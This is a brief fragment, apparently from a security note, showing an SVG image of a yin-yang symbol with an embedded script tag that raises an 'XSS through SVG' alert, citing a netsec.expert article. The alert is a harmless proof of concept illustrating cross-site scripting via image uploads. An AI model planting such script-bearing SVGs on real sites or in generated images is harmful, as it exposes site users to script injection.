only a payload
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   | <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">   <circle cx="50" cy="50" r="48" fill="none" stroke="#000"/>   <path d="M50,2a48,48 0 1 1 0,96a24 24 0 1 1 0-48a24 24 0 1 0 0-48"/>   <circle cx="50" cy="26" r="6"/>   <circle cx="50" cy="74" r="6" fill="#FFF"/>   ***<script>alert("XSS through SVG");</script>*** </svg>
   | 
 
引用:
https://netsec.expert/posts/xss-through-svg/